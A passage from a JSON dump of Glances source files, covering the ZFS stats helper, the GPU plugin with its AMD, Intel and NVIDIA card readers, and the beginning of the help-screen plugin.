    "content": "#\n# This file is part of Glances.\n#\n# SPDX-FileCopyrightText: 2025 Nicolas Hennion <nicolas@nicolargo.com>\n#\n# SPDX-License-Identifier: LGPL-3.0-only\n#\n\n# For the moment, thoses functions are only used in the MEM plugin (see #3979)\n\nimport os\n\nfrom glances.logger import logger\n\n\ndef zfs_enable(zfs_stats_path='/proc/spl/kstat/zfs'):\n    \"\"\"Check if ZFS is enabled on this system.\"\"\"\n    return os.path.isdir(zfs_stats_path)\n\n\ndef zfs_stats(zfs_stats_files=['/proc/spl/kstat/zfs/arcstats']):\n    \"\"\"Get ZFS stats from /proc/spl/kstat/zfs files.\"\"\"\n    stats = {}\n    for zfs_stats_file in zfs_stats_files:\n        try:\n            with open(zfs_stats_file) as f:\n                lines = f.readlines()\n            namespace = os.path.basename(zfs_stats_file)\n            for line in lines[2:]:  # Skip the first two header lines\n                parts = line.split()\n                stats[namespace + '.' + parts[0]] = int(parts[2])\n        except Exception as e:\n            logger.error(f\"Error reading ZFS stats in {zfs_stats_file}: {e}\")\n    return stats\n"
  },
  {
    "path": "glances/plugins/gpu/__init__.py",
    "content": "#\n# This file is part of Glances.\n#\n# Copyright (C) 2020 Kirby Banman <kirby.banman@gmail.com>\n# Copyright (C) 2024 Nicolas Hennion <nicolashennion@gmail.com>\n#\n# SPDX-License-Identifier: LGPL-3.0-only\n#\n\n\"\"\"GPU plugin for Glances.\n\nCurrently supported:\n- NVIDIA GPU (need pynvml lib)\n- AMD GPU (no lib needed)\n- Intel GPU (no lib needed)\n\nQuick test:\n- Start Glances\n- In a terminal: vblank_mode=0 glxgears\n\"\"\"\n\nfrom glances.globals import to_fahrenheit\nfrom glances.logger import logger\nfrom glances.plugins.gpu.cards.amd import AmdGPU\nfrom glances.plugins.gpu.cards.intel import IntelGPU\nfrom glances.plugins.gpu.cards.nvidia import NvidiaGPU\nfrom glances.plugins.plugin.model import GlancesPluginModel\n\n# Fields description\n# description: human readable description\n# short_name: shortname to use un UI\n# unit: unit type\n# rate: is it a rate ? If yes, // by time_since_update when displayed,\n# min_symbol: Auto unit should be used if value > than 1 'X' (K, M, G)...\nfields_description = {\n    'gpu_id': {\n        'description': 'GPU identification',\n    },\n    'name': {\n        'description': 'GPU name',\n    },\n    'mem': {\n        'description': 'Memory consumption',\n        'unit': 'percent',\n    },\n    'proc': {\n        'description': 'GPU processor consumption',\n        'unit': 'percent',\n    },\n    'temperature': {\n        'description': 'GPU temperature',\n        'unit': 'celsius',\n    },\n    'fan_speed': {\n        'description': 'GPU fan speed',\n        'unit': 'roundperminute',\n    },\n}\n\n# Define the history items list\n# All items in this list will be historised if the --enable-history tag is set\nitems_history_list = [\n    {'name': 'proc', 'description': 'GPU processor', 'y_unit': '%'},\n    {'name': 'mem', 'description': 'Memory consumption', 'y_unit': '%'},\n]\n\n\nclass GpuPlugin(GlancesPluginModel):\n    \"\"\"Glances GPU plugin.\n\n    stats is a list of dictionaries with one entry per GPU\n    \"\"\"\n\n    def __init__(self, args=None, config=None):\n        \"\"\"Init the plugin.\"\"\"\n        super().__init__(\n            args=args,\n            config=config,\n            items_history_list=items_history_list,\n            stats_init_value=[],\n            fields_description=fields_description,\n        )\n        # Init the Nvidia GPU API\n        try:\n            self.nvidia = NvidiaGPU()\n        except Exception as e:\n            logger.debug(f'Nvidia GPU initialization error: {e}')\n            self.nvidia = None\n\n        # Init the AMD GPU API\n        try:\n            self.amd = AmdGPU()\n        except Exception as e:\n            logger.debug(f'AMD GPU initialization error: {e}')\n            self.amd = None\n        # Just for test purpose (uncomment to test on computer without AMD GPU)\n        # self.amd = AmdGPU(drm_root_folder='./tests-data/plugins/gpu/amd/sys/class/drm')\n\n        # Init the Intel GPU API\n        try:\n            self.intel = IntelGPU()\n        except Exception as e:\n            logger.debug(f'Intel GPU initialization error: {e}')\n            self.intel = None\n        # Just for test purpose (uncomment to test on computer without Intel GPU)\n        # self.intel = IntelGPU(drm_root_folder='./tests-data/plugins/gpu/intel/sys/class/drm')\n\n        # We want to display the stat in the curse interface\n        self.display_curse = True\n\n    def exit(self):\n        \"\"\"Overwrite the exit method to close the GPU API.\"\"\"\n        self.nvidia.exit()\n        self.amd.exit()\n        self.intel.exit()\n        # Call the father exit method\n        super().exit()\n\n    def get_key(self):\n        \"\"\"Return the key of the list.\"\"\"\n        return 'gpu_id'\n\n    @GlancesPluginModel._check_decorator\n    @GlancesPluginModel._log_result_decorator\n    def update(self):\n        \"\"\"Update the GPU stats.\"\"\"\n        # Init new stats\n        stats = self.get_init_value()\n\n        # Get the stats\n        if self.nvidia:\n            stats.extend(self.nvidia.get_device_stats())\n        if self.amd:\n            stats.extend(self.amd.get_device_stats())\n        if self.intel:\n            stats.extend(self.intel.get_device_stats())\n\n        # !!!\n        # Uncomment to test on computer without Nvidia GPU\n        # One GPU sample:\n        # stats = [\n        #     {\n        #         \"key\": \"gpu_id\",\n        #         \"gpu_id\": \"nvidia0\",\n        #         \"name\": \"Fake GeForce GTX\",\n        #         \"mem\": 5.792331695556641,\n        #         \"proc\": 4,\n        #         \"temperature\": 26,\n        #         \"fan_speed\": 30,\n        #     }\n        # ]\n        # Two GPU sample:\n        # stats = [\n        #     {\n        #         \"key\": \"gpu_id\",\n        #         \"gpu_id\": \"nvidia0\",\n        #         \"name\": \"Fake GeForce GTX1\",\n        #         \"mem\": 5.792331695556641,\n        #         \"proc\": 4,\n        #         \"temperature\": 26,\n        #         \"fan_speed\": 30,\n        #     },\n        #     {\n        #         \"key\": \"gpu_id\",\n        #         \"gpu_id\": \"nvidia1\",\n        #         \"name\": \"Fake GeForce GTX1\",\n        #         \"mem\": 15,\n        #         \"proc\": 8,\n        #         \"temperature\": 65,\n        #         \"fan_speed\": 75,\n        #     },\n        # ]\n\n        # Update the stats\n        self.stats = stats\n\n        return self.stats\n\n    def update_views(self):\n        \"\"\"Update stats views.\"\"\"\n        # Call the father's method\n        super().update_views()\n\n        # Add specifics information\n        # Alert\n        for i in self.stats:\n            # Init the views for the current GPU\n            self.views[i[self.get_key()]] = {'proc': {}, 'mem': {}, 'temperature': {}}\n            # Processor alert\n            if 'proc' in i:\n                alert = self.get_alert(i['proc'], header='proc')\n                self.views[i[self.get_key()]]['proc']['decoration'] = alert\n            # Memory alert\n            if 'mem' in i:\n                alert = self.get_alert(i['mem'], header='mem')\n                self.views[i[self.get_key()]]['mem']['decoration'] = alert\n            # Temperature alert\n            if 'temperature' in i:\n                alert = self.get_alert(i['temperature'], header='temperature')\n                self.views[i[self.get_key()]]['temperature']['decoration'] = alert\n\n        return True\n\n    def _get_mean(self, key):\n        \"\"\"Calculate mean value for a given key across all GPU stats.\n\n        Returns None if calculation fails (e.g., missing data).\n        \"\"\"\n        try:\n            return sum(s[key] for s in self.stats if s is not None) / len(self.stats)\n        except (TypeError, ZeroDivisionError):\n            return None\n\n    def _format_value(self, value, unit='%'):\n        \"\"\"Format a value with unit, or return N/A if value is None.\"\"\"\n        if value is None:\n            return '{:>4}'.format('N/A')\n        return f'{value:>3.0f}{unit}'\n\n    def _build_header(self):\n        \"\"\"Build the header string based on GPU count and names.\"\"\"\n        same_name = all(s['name'] == self.stats[0]['name'] for s in self.stats)\n        gpu_name = self.stats[0]['name']\n        gpu_count = len(self.stats)\n\n        if gpu_count > 1:\n            if same_name:\n                header = f'{gpu_count} {gpu_name}'\n            else:\n                header = f'{gpu_count} GPUs'\n        elif same_name:\n            header = gpu_name\n        else:\n            header = 'GPU'\n        return header[:17]\n\n    def _add_metric_line(self, ret, key, label, label_mean, unit='%'):\n        \"\"\"Add a metric line (label + value) to the curse output.\n\n        Args:\n            ret: The return list to append to\n            key: The metric key (e.g., 'proc', 'mem', 'temperature')\n            label: Label for single GPU mode\n            label_mean: Label for multi-GPU mean mode\n            unit: Unit suffix for the value (default: '%')\n        \"\"\"\n        gpu_stats = self.stats[0]\n        is_multi = len(self.stats) > 1\n\n        ret.append(self.curse_new_line())\n        ret.append(self.curse_add_line(f'{label_mean if is_multi else label:13}'))\n        mean_value = self._get_mean(key)\n        ret.append(\n            self.curse_add_line(\n                self._format_value(mean_value, unit),\n                self.get_views(item=gpu_stats[self.get_key()], key=key, option='decoration'),\n            )\n        )\n\n    def _msg_curse_summary(self, ret, args):\n        \"\"\"Build curse output for summary view (single GPU or mean mode).\"\"\"\n        self._add_metric_line(ret, 'proc', 'proc:', 'proc mean:')\n        self._add_metric_line(ret, 'mem', 'mem:', 'mem mean:')\n\n        # Temperature needs special handling for Fahrenheit conversion\n        gpu_stats = self.stats[0]\n        is_multi = len(self.stats) > 1\n        ret.append(self.curse_new_line())\n        ret.append(self.curse_add_line('{:13}'.format('temp mean:' if is_multi else 'temperature:')))\n        mean_temp = self._get_mean('temperature')\n        if mean_temp is not None and args and args.fahrenheit:\n            mean_temp = to_fahrenheit(mean_temp)\n        unit = 'F' if args and args.fahrenheit else 'C'\n        ret.append(\n            self.curse_add_line(\n                self._format_value(mean_temp, unit),\n                self.get_views(item=gpu_stats[self.get_key()], key='temperature', option='decoration'),\n            )\n        )\n\n    def _msg_curse_multi(self, ret):\n        \"\"\"Build curse output for multi-GPU detailed view.\"\"\"\n        for gpu_stats in self.stats:\n            ret.append(self.curse_new_line())\n            # id_msg = '{:7}'.format(gpu_stats['gpu_id'])\n            id_msg = '{:7}'.format(gpu_stats['name'][0:9])\n            msg = f'{id_msg}'\n            ret.append(self.curse_add_line(msg))\n            if gpu_stats.get('proc') is not None:\n                proc_msg = self._format_value(gpu_stats.get('proc'))\n                msg = f' {proc_msg}'\n                ret.append(\n                    self.curse_add_line(\n                        msg,\n                        self.get_views(item=gpu_stats[self.get_key()], key='proc', option='decoration'),\n                    )\n                )\n            if gpu_stats.get('mem') is not None:\n                mem_msg = self._format_value(gpu_stats.get('mem'))\n                msg += f' mem {mem_msg}'\n                ret.append(\n                    self.curse_add_line(\n                        msg,\n                        self.get_views(item=gpu_stats[self.get_key()], key='mem', option='decoration'),\n                    )\n                )\n\n    def msg_curse(self, args=None, max_width=None):\n        \"\"\"Return the dict to display in the curse interface.\"\"\"\n        ret = []\n\n        # Only process if stats exist, not empty (issue #871) and plugin not disabled\n        if not self.stats or self.is_disabled():\n            return ret\n\n        # Header\n        ret.append(self.curse_add_line(self._build_header(), \"TITLE\"))\n\n        # Build the string message\n        if len(self.stats) == 1 or args.meangpu:\n            self._msg_curse_summary(ret, args)\n        else:\n            self._msg_curse_multi(ret)\n\n        return ret\n"
  },
  {
    "path": "glances/plugins/gpu/cards/__init__.py",
    "content": ""
  },
  {
    "path": "glances/plugins/gpu/cards/amd.py",
    "content": "#\n# This file is part of Glances.\n#\n# SPDX-FileCopyrightText: 2024 Nicolas Hennion <nicolas@nicolargo.com>\n#\n# SPDX-License-Identifier: LGPL-3.0-only\n#\n\n\"\"\"AMD Extension unit for Glances' GPU plugin.\n\nThe class grabs the stats from the /sys/class/drm/ directory.\n\nSee: https://wiki.archlinux.org/title/AMDGPU#Manually\n\"\"\"\n\n# Example\n# tests-data/plugins/gpu/amd/\n# └── sys\n#     ├── class\n#     │   └── drm\n#     │       └── card0\n#     │           └── device\n#     │               ├── device\n#     │               ├── gpu_busy_percent\n#     │               ├── hwmon\n#     │               │   └── hwmon0\n#     │               │       ├── in1_input\n#     │               │       └── temp1_input\n#     │               ├── mem_info_gtt_total\n#     │               ├── mem_info_gtt_used\n#     │               ├── mem_info_vram_total\n#     │               ├── mem_info_vram_used\n#     │               ├── pp_dpm_mclk\n#     │               ├── pp_dpm_sclk\n#     │               └── revision\n#     └── kernel\n#         └── debug\n#             └── dri\n#                 └── 0\n#                     └── amdgpu_pm_info\n\nimport functools\nimport glob\nimport os\nimport re\n\nDRM_ROOT_FOLDER: str = '/sys/class/drm'\nDEVICE_FOLDER_PATTERN: str = 'card[0-9]/device'\nAMDGPU_IDS_FILE: str = '/usr/share/libdrm/amdgpu.ids'\nPCI_DEVICE_ID: str = 'device'\nPCI_REVISION_ID: str = 'revision'\nGPU_PROC_PERCENT: str = 'gpu_busy_percent'\nGPU_MEM_TOTAL: str = 'mem_info_vram_total'\nGPU_MEM_USED: str = 'mem_info_vram_used'\nGTT_MEM_TOTAL: str = 'mem_info_gtt_total'\nGTT_MEM_USED: str = 'mem_info_gtt_used'\nHWMON_NORTHBRIDGE_VOLTAGE_PATTERN: str = 'hwmon/hwmon[0-9]/in1_input'\nHWMON_TEMPERATURE_PATTERN = 'hwmon/hwmon[0-9]/temp[0-9]_input'\n\n\nclass AmdGPU:\n    \"\"\"GPU card class.\"\"\"\n\n    def __init__(self, drm_root_folder: str = DRM_ROOT_FOLDER):\n        \"\"\"Init AMD  GPU card class.\"\"\"\n        self.drm_root_folder = drm_root_folder\n        self.device_folders = get_device_list(drm_root_folder)\n\n    def exit(self):\n        \"\"\"Close AMD GPU class.\"\"\"\n\n    def get_device_stats(self):\n        \"\"\"Get AMD GPU stats.\"\"\"\n        stats = []\n\n        for index, device in enumerate(self.device_folders):\n            device_stats = {}\n            # Dictionary key is the GPU_ID\n            device_stats['key'] = 'gpu_id'\n            # GPU id (for multiple GPU, start at 0)\n            device_stats['gpu_id'] = f'amd{index}'\n            # GPU name\n            device_stats['name'] = get_device_name(device)\n            # Memory consumption in % (not available on all GPU)\n            device_stats['mem'] = get_mem(device)\n            # Processor consumption in %\n            device_stats['proc'] = get_proc(device)\n            # Processor temperature in °C\n            device_stats['temperature'] = get_temperature(device)\n            # Fan speed in %\n            device_stats['fan_speed'] = get_fan_speed(device)\n            stats.append(device_stats)\n\n        return stats\n\n\ndef get_device_list(drm_root_folder: str) -> list[str]:\n    \"\"\"Return a list of path to the device stats.\"\"\"\n    ret = []\n    for device_folder in glob.glob(DEVICE_FOLDER_PATTERN, root_dir=drm_root_folder):\n        if os.path.isfile(os.path.join(drm_root_folder, device_folder, GPU_PROC_PERCENT)):\n            # If the GPU busy file is present then take the card into account\n            ret.append(os.path.join(drm_root_folder, device_folder))\n    return ret\n\n\ndef read_file(*path_segments: str) -> str | None:\n    \"\"\"Return content of file or None if not accessible.\"\"\"\n    path = os.path.join(*path_segments)\n    if os.path.isfile(path):\n        try:\n            with open(path) as f:\n                return f.read().strip()\n        except (PermissionError, OSError):\n            # File exists but is not readable (e.g. Snap strict confinement)\n            # Graceful degradation: caller will use a default value instead\n            return None\n    return None\n\n\n@functools.cache\ndef get_device_name(device_folder: str) -> str:\n    \"\"\"Return the GPU name.\"\"\"\n\n    # Table source: https://cgit.freedesktop.org/drm/libdrm/tree/data/amdgpu.ids\n    device_id = read_file(device_folder, PCI_DEVICE_ID)\n    revision_id = read_file(device_folder, PCI_REVISION_ID)\n    amdgpu_ids = read_file(AMDGPU_IDS_FILE)\n    if device_id and revision_id and amdgpu_ids:\n        # Strip leading \"0x\" and convert to uppercase hexadecimal\n        device_id = device_id[2:].upper()\n        revision_id = revision_id[2:].upper()\n        # Syntax:\n        # device_id,\trevision_id,\tproduct_name        <-- single tab after comma\n        pattern = re.compile(f'^{device_id},\\\\s{revision_id},\\\\s(?P<product_name>.+)$', re.MULTILINE)\n        if match := pattern.search(amdgpu_ids):\n            return match.group('product_name').removeprefix('AMD ').removesuffix(' Graphics')\n\n    return 'AMD GPU'\n\n\ndef get_mem(device_folder: str) -> int | None:\n    \"\"\"Return the memory consumption in %.\"\"\"\n    mem_info_total = read_file(device_folder, GPU_MEM_TOTAL)\n    mem_info_used = read_file(device_folder, GPU_MEM_USED)\n    if mem_info_total and mem_info_used:\n        mem_info_total = int(mem_info_total)\n        mem_info_used = int(mem_info_used)\n        # Detect integrated GPU by looking for APU-only Northbridge voltage.\n        # See https://docs.kernel.org/gpu/amdgpu/thermal.html\n        if glob.glob(HWMON_NORTHBRIDGE_VOLTAGE_PATTERN, root_dir=device_folder):\n            mem_info_gtt_total = read_file(device_folder, GTT_MEM_TOTAL)\n            mem_info_gtt_used = read_file(device_folder, GTT_MEM_USED)\n            if mem_info_gtt_total and mem_info_gtt_used:\n                # Integrated GPU allocates static VRAM and dynamic GTT from the same system memory.\n                mem_info_total += int(mem_info_gtt_total)\n                mem_info_used += int(mem_info_gtt_used)\n        if mem_info_total > 0:\n            return round(mem_info_used / mem_info_total * 100)\n    return None\n\n\ndef get_proc(device_folder: str) -> int | None:\n    \"\"\"Return the processor consumption in %.\"\"\"\n    if gpu_busy_percent := read_file(device_folder, GPU_PROC_PERCENT):\n        return int(gpu_busy_percent)\n    return None\n\n\ndef get_temperature(device_folder: str) -> int | None:\n    \"\"\"Return the processor temperature in °C (mean of all HWMON)\"\"\"\n    temp_input = []\n    for temp_file in glob.glob(HWMON_TEMPERATURE_PATTERN, root_dir=device_folder):\n        if a_temp_input := read_file(device_folder, temp_file):\n            temp_input.append(int(a_temp_input))\n        else:\n            return None\n    if temp_input:\n        return round(sum(temp_input) / len(temp_input) / 1000)\n    return None\n\n\ndef get_fan_speed(device_folder: str) -> int | None:\n    \"\"\"Return the fan speed in %.\"\"\"\n    return None\n"
  },
  {
    "path": "glances/plugins/gpu/cards/intel.py",
    "content": "#\n# This file is part of Glances.\n#\n# SPDX-FileCopyrightText: 2024 Nicolas Hennion <nicolas@nicolargo.com>\n#\n# SPDX-License-Identifier: LGPL-3.0-only\n#\n\n\"\"\"Intel Extension unit for Glances' GPU plugin.\n\nThe class grabs the stats from the /sys/class/drm/ directory.\n\nSee: https://github.com/nicolargo/glances/issues/994\n\"\"\"\n\n# Example\n# /sys/class/drm/card0\n# ├── gt_act_freq_mhz\n# ├── gt_boost_freq_mhz\n# ├── gt_cur_freq_mhz\n# ├── gt_max_freq_mhz\n# ├── gt_min_freq_mhz\n# ├── gt_RP0_freq_mhz\n# ├── gt_RP1_freq_mhz\n# ├── gt_RPn_freq_mhz\n\nimport functools\nimport glob\nimport os\nimport re\n\nDRM_ROOT_FOLDER: str = '/sys/class/drm'\nDEVICE_FOLDER_PATTERN: str = 'card[0-9]'\nINTELGPU_IDS_FILE: str = '/usr/share/misc/pci.ids'\nPCI_DEVICE_VENDOR: str = 'device/vendor'\nPCI_DEVICE_ID: str = 'device/device'\nPCI_ACT_FRQ_MHZ: str = 'gt_act_freq_mhz'\nPCI_MAX_FRQ_MHZ: str = 'gt_max_freq_mhz'\n\n\nclass IntelGPU:\n    \"\"\"Intel GPU card class.\"\"\"\n\n    def __init__(self, drm_root_folder: str = DRM_ROOT_FOLDER):\n        \"\"\"Init Intel GPU card class.\"\"\"\n        self.drm_root_folder = drm_root_folder\n        self.device_folders = get_device_list(drm_root_folder)\n\n    def exit(self):\n        \"\"\"Close Intel GPU class.\"\"\"\n\n    def get_device_stats(self):\n        \"\"\"Get Intel GPU stats.\"\"\"\n        stats = []\n\n        for index, device in enumerate(self.device_folders):\n            device_stats = {}\n            # Dictionary key is the GPU_ID\n            device_stats['key'] = 'gpu_id'\n            # GPU id (for multiple GPU, start at 0)\n            device_stats['gpu_id'] = f'intel{index}'\n            # GPU name\n            device_stats['name'] = get_device_name(device)\n            # Memory consumption in % (not available on all GPU)\n            device_stats['mem'] = get_mem(device)\n            # Processor consumption in % of frequency\n            device_stats['proc'] = get_proc(device)\n            # Processor temperature in °C\n            device_stats['temperature'] = get_temperature(device)\n            # Fan speed in %\n            device_stats['fan_speed'] = get_fan_speed(device)\n            stats.append(device_stats)\n\n        return stats\n\n\ndef get_device_list(drm_root_folder: str) -> list[str]:\n    \"\"\"Return a list of path to the device stats.\"\"\"\n    ret = []\n    for device_folder in glob.glob(DEVICE_FOLDER_PATTERN, root_dir=drm_root_folder):\n        if os.path.isfile(os.path.join(drm_root_folder, device_folder, PCI_ACT_FRQ_MHZ)):\n            # If the GPU act freq file is present then take the card into account\n            ret.append(os.path.join(drm_root_folder, device_folder))\n    return ret\n\n\ndef read_file(*path_segments: str) -> str | None:\n    \"\"\"Return content of file or None if not accessible.\"\"\"\n    path = os.path.join(*path_segments)\n    if os.path.isfile(path):\n        try:\n            with open(path) as f:\n                return f.read().strip()\n        except (PermissionError, OSError):\n            # File exists but is not readable (e.g. Snap strict confinement)\n            # Graceful degradation: caller will use a default value instead\n            return None\n    return None\n\n\n@functools.cache\ndef get_device_name(device_folder: str) -> str:\n    \"\"\"Return the GPU name.\"\"\"\n    device_vendor = read_file(device_folder, PCI_DEVICE_VENDOR)\n    device_id = read_file(device_folder, PCI_DEVICE_ID)\n    intelgpu_ids = read_file(INTELGPU_IDS_FILE)\n\n    if device_vendor and device_id and intelgpu_ids:\n        device_vendor = device_vendor.strip()[2:].lower()\n        device_id = device_id.strip()[2:].lower()\n\n        pattern = rf'^{device_vendor}[ \\t]+.+\\n(?:(?![0-9a-f]{{4}}).+\\n)*?\\t{device_id}[ \\t]+(.+)$'\n        match = re.search(pattern, intelgpu_ids, re.MULTILINE)\n        if match:\n            name = match.group(1)\n            bracket_match = re.search(r'\\[(.+)\\]', name)\n            return bracket_match.group(1) if bracket_match else name\n\n    return 'Intel GPU'\n\n\ndef get_mem(device_folder: str) -> int | None:\n    \"\"\"Return the memory consumption in %.\"\"\"\n    return None\n\n\ndef get_proc(device_folder: str) -> int | None:\n    \"\"\"Return the processor consumption in %.\"\"\"\n    act_freq = read_file(device_folder, PCI_ACT_FRQ_MHZ)\n    max_freq = read_file(device_folder, PCI_MAX_FRQ_MHZ)\n    if act_freq and max_freq:\n        return round(int(act_freq) / int(max_freq) * 100)\n    return None\n\n\ndef get_temperature(device_folder: str) -> int | None:\n    \"\"\"Return the processor temperature in °C (mean of all HWMON)\"\"\"\n    return None\n\n\ndef get_fan_speed(device_folder: str) -> int | None:\n    \"\"\"Return the fan speed in %.\"\"\"\n    return None\n"
  },
  {
    "path": "glances/plugins/gpu/cards/nvidia.py",
    "content": "#\n# This file is part of Glances.\n#\n# SPDX-FileCopyrightText: 2024 Nicolas Hennion <nicolas@nicolargo.com>\n#\n# SPDX-License-Identifier: LGPL-3.0-only\n#\n\n\"\"\"NVidia Extension unit for Glances' GPU plugin.\"\"\"\n\nimport os\nimport sys\n\nfrom glances.globals import nativestr\nfrom glances.logger import logger\n\nNVML_LIB = 'libnvidia-ml.so.1'\n\ntry:\n    # Avoid importing pynvml if NVML_LIB is not installed\n    from ctypes import CDLL\n\n    if sys.platform[:3] == \"win\":\n        try:\n            CDLL(os.path.join(os.getenv(\"WINDIR\", \"C:/Windows\"), \"System32/nvml.dll\"))\n        except OSError:\n            CDLL(os.path.join(os.getenv(\"ProgramFiles\", \"C:/Program Files\"), \"NVIDIA Corporation/NVSMI/nvml.dll\"))\n    else:\n        CDLL(NVML_LIB)\n    import pynvml\nexcept OSError:\n    nvidia_gpu_enable = False\n    # NNVML_LIB lib not found (NVidia driver not installed)\n    logger.debug(f\"NVML Shared Library ({NVML_LIB}) not Found, Nvidia GPU plugin is disabled\")\nexcept Exception as e:\n    nvidia_gpu_enable = False\n    # Display warning message if import KeyError\n    logger.debug(f\"Missing Python Lib ({e}), Nvidia GPU plugin is disabled\")\nelse:\n    nvidia_gpu_enable = True\n\n\nclass NvidiaGPU:\n    \"\"\"GPU card class.\"\"\"\n\n    def __init__(self):\n        \"\"\"Init Nvidia GPU card class.\"\"\"\n        if not nvidia_gpu_enable:\n            self.device_handles = []\n        else:\n            try:\n                pynvml.nvmlInit()\n                self.device_handles = get_device_list()\n            except Exception:\n                logger.debug(\"pynvml could not be initialized.\")\n                self.device_handles = []\n\n    def exit(self):\n        \"\"\"Close NVidia GPU class.\"\"\"\n        if self.device_handles != []:\n            try:\n                pynvml.nvmlShutdown()\n            except Exception as e:\n                logger.debug(f\"pynvml failed to shutdown correctly ({e})\")\n\n    def get_device_stats(self):\n        \"\"\"Get Nvidia GPU stats.\"\"\"\n        stats = []\n\n        for index, device_handle in enumerate(self.device_handles):\n            device_stats = {}\n            # Dictionary key is the GPU_ID\n            device_stats['key'] = 'gpu_id'\n            # GPU id (for multiple GPU, start at 0)\n            device_stats['gpu_id'] = f'nvidia{index}'\n            # GPU name\n            device_stats['name'] = get_device_name(device_handle)\n            # Memory consumption in % (not available on all GPU)\n            device_stats['mem'] = get_mem(device_handle)\n            # Processor consumption in %\n            device_stats['proc'] = get_proc(device_handle)\n            # Processor temperature in °C\n            device_stats['temperature'] = get_temperature(device_handle)\n            # Fan speed in %\n            device_stats['fan_speed'] = get_fan_speed(device_handle)\n            stats.append(device_stats)\n\n        return stats\n\n\ndef get_device_list():\n    \"\"\"Get a list of NVML device handles, one per device.\n\n    Can throw NVMLError.\n    \"\"\"\n    return [pynvml.nvmlDeviceGetHandleByIndex(i) for i in range(pynvml.nvmlDeviceGetCount())]\n\n\ndef get_device_name(device_handle):\n    \"\"\"Get GPU device name.\"\"\"\n    try:\n        return nativestr(pynvml.nvmlDeviceGetName(device_handle))\n    except pynvml.NVMLError:\n        return \"NVIDIA\"\n\n\ndef get_mem(device_handle):\n    \"\"\"Get GPU device memory consumption in percent.\"\"\"\n    try:\n        memory_info = pynvml.nvmlDeviceGetMemoryInfo(device_handle)\n        return memory_info.used * 100.0 / memory_info.total\n    except pynvml.NVMLError:\n        return None\n\n\ndef get_proc(device_handle):\n    \"\"\"Get GPU device CPU consumption in percent.\"\"\"\n    try:\n        return pynvml.nvmlDeviceGetUtilizationRates(device_handle).gpu\n    except pynvml.NVMLError:\n        return None\n\n\ndef get_temperature(device_handle):\n    \"\"\"Get GPU device CPU temperature in Celsius.\"\"\"\n    try:\n        return pynvml.nvmlDeviceGetTemperature(device_handle, pynvml.NVML_TEMPERATURE_GPU)\n    except pynvml.NVMLError:\n        return None\n\n\ndef get_fan_speed(device_handle):\n    \"\"\"Get GPU device fan speed in percent.\"\"\"\n    try:\n        return pynvml.nvmlDeviceGetFanSpeed(device_handle)\n    except pynvml.NVMLError:\n        return None\n"
  },
  {
    "path": "glances/plugins/help/__init__.py",
    "content": "#\n# This file is part of Glances.\n#\n# SPDX-FileCopyrightText: 2022 Nicolas Hennion <nicolas@nicolargo.com>\n#\n# SPDX-License-Identifier: LGPL-3.0-only\n#\n\n\"\"\"\nHelp plugin.\n\nJust a stupid plugin to display the help screen.\n\"\"\"\n\nfrom itertools import chain\n\nfrom glances import __version__, psutil_version\nfrom glances.plugins.plugin.model import GlancesPluginModel\n\n\nclass HelpPlugin(GlancesPluginModel):\n    \"\"\"Glances help plugin.\"\"\"\n\n    def __init__(self, args=None, config=None):\n        \"\"\"Init the plugin.\"\"\"\n        super().__init__(args=args, config=config)\n\n        # Set the config instance\n        self.config = config\n        self.args = args\n\n        # We want to display the stat in the curse interface\n        self.display_curse = True\n\n        # init data dictionary, to preserve insertion order\n        self.view_data = {}\n        self.generate_view_data()\n\n    def reset(self):\n        \"\"\"No stats. It is just a plugin to display the help.\"\"\"\n\n    def update(self):\n        \"\"\"No stats. It is just a plugin to display the help.\"\"\"\n\n    def generate_view_data(self):\n        \"\"\"Generate the views.\"\"\"\n        self.view_data['version'] = '{} {}'.format('Glances', __version__)\n        self.view_data['psutil_version'] = f' with psutil {psutil_version}'\n\n        try:\n            self.view_data['configuration_file'] = f'Configuration file: {self.config.loaded_config_file}'\n        except AttributeError:\n            pass\n\n        msg_col = '  {0:1}  {1:34}'\n        msg_header = '{0:39}'\n\n        self.view_data.update(\n            [\n                # First column\n                #\n                ('header_sort', msg_header.format('SORT PROCESSES:')),\n                ('sort_auto', msg_col.format('a', 'Automatically')),\n                ('sort_cpu', msg_col.format('c', 'CPU%')),\n                ('sort_io_rate', msg_col.format('i', 'I/O rate')),\n                ('sort_cpu_num', msg_col.format('o', 'CPU core number')),\n                ('sort_mem', msg_col.format('m', 'MEM%')),\n                ('sort_process_name', msg_col.format('p', 'Process name')),\n                ('sort_cpu_times', msg_col.format('t', 'TIME')),\n                ('sort_user', msg_col.format('u', 'USER')),\n                ('header_show_hide', msg_header.format('SHOW/HIDE SECTION:')),\n                ('show_hide_application_monitoring', msg_col.format('A', 'Application monitoring')),\n                ('show_hide_diskio', msg_col.format('d', 'Disk I/O')),\n                ('show_hide_docker', msg_col.format('D', 'Docker')),\n                ('show_hide_top_extended_stats', msg_col.format('e', 'Top extended stats')),\n                ('show_hide_filesystem', msg_col.format('f', 'Filesystem')),\n                ('show_hide_gpu', msg_col.format('G', 'GPU')),\n                ('show_hide_ip', msg_col.format('I', 'IP')),\n                ('show_hide_tcp_connection', msg_col.format('K', 'TCP')),\n                ('show_hide_alert', msg_col.format('l', 'Alert logs')),\n                ('show_hide_network', msg_col.format('n', 'Network')),\n                ('show_hide_current_time', msg_col.format('N', 'Time')),\n                ('show_hide_irq', msg_col.format('Q', 'IRQ')),\n                ('show_hide_raid_plugin', msg_col.format('R', 'RAID')),\n                ('show_hide_sensors', msg_col.format('s', 'Sensors')),\n                ('show_hide_wifi_module', msg_col.format('W', 'Wifi')),\n                ('show_hide_processes', msg_col.format('z', 'Processes')),\n                ('show_hide_left_sidebar', msg_col.format('2', 'Left sidebar')),\n                # Second column\n                #\n                ('show_hide_quick_look', msg_col.format('3', 'Quick Look')),\n                ('show_hide_cpu_mem_swap', msg_col.format('4', 'CPU, MEM, and SWAP')),\n                ('show_hide_all', msg_col.format('5', 'ALL')),\n                ('header_toggle', msg_header.format('TOGGLE DATA TYPE:')),\n                ('toggle_bits_bytes', msg_col.format('b', 'Network I/O, bits/bytes')),\n                ('toggle_count_rate', msg_col.format('B', 'Disk I/O, count/rate')),\n                ('toggle_used_free', msg_col.format('F', 'Filesystem space, used/free')),\n                ('toggle_bar_sparkline', msg_col.format('S', 'Quick Look, bar/sparkline')),\n                ('toggle_separate_combined', msg_col.format('T', 'Network I/O, separate/combined')),\n                ('toggle_live_cumulative', msg_col.format('U', 'Network I/O, live/cumulative')),\n                ('toggle_linux_percentage', msg_col.format('0', 'Load, Linux/percentage')),\n                ('toggle_cpu_individual_combined', msg_col.format('1', 'CPU, 